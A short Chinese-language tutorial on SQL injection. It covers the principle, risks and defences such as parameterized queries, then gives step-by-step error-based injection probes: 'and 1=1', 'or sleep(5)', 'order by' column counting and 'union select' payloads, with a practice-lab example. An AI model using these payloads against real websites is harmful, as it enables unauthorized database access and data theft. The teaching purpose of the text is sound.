目录
SQL注入原理:
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
产生原因:程序没有细致过滤用户输入的数据,从而导致非法数据进入系统。
SQL注入可能造成威胁:
- 猜解后台数据库,盗取网站的敏感信息。
- 绕过认证
- 借助数据库的存储过程进行提权等操作
防范:
(1)参数化语句:用过将查询语句参数化,来防范SQL注入
(2)输入验证:通过白名单和黑名单的验证对用户的输入进行验证
(3)输出编码:对程序各个模块之间或者各个部分之间传递的数据进行编码处理
(4)规范化:拒绝所有不符合规范的输入和对输入编码进行解码分析是常见的两种规范化处理方法
(5)避免SQL注入漏洞的程序设计:使用存储过程、处理敏感数据等
(6) 安全的编码规范:根据OWASP提供的安全编码规范进行相关编码
显错注入:
一:判断网站是否存在漏洞(也可以用sleep()函数来判断是否存在注入:or sleep(5)页面5秒钟后正常显示) 小技巧: 页面传参后面加 ’ ,看是否报错 )
and 1=1 --> 条件成立,网页有内容
and 1=2 --> 条件不成立,网页没有内容
==> 网站存在SQL注入漏洞。
二:判断字段数 ,order by ,排序。
字段 = 列 。
order by 1 --> 网页有内容,说明表里面有1列
order by 2 --> 网页有内容,说明表里面有2列
order by 3 --> 网页无内容,说明表里面只有2列
三:联合查询寻找输出点
union select 1,2,3,4#
tips:union select 联合查询前面语句要为假
四:查数据
version() # 函数,查询版本号
database() # 函数,查库名
SQL注入常用函数:
group_concat(col) //返回由属于一组的列值连接组合而成的结果
ascll(char) //返回字符的ascll码值
database() //返回当前数据库名
system_user() //返回当前登录用户名
version() //返回mysql服务器的版本
sleep(n) //休眠n秒
靶场实例:
靶场
and1=1网页有内容 and1=2网页无内容
order by 1 by 2 by 3皆有数据 order by 4无数据
输入and 1=2 union select 1,version(),database()有数据
具体实例各位自己尝试加油哦!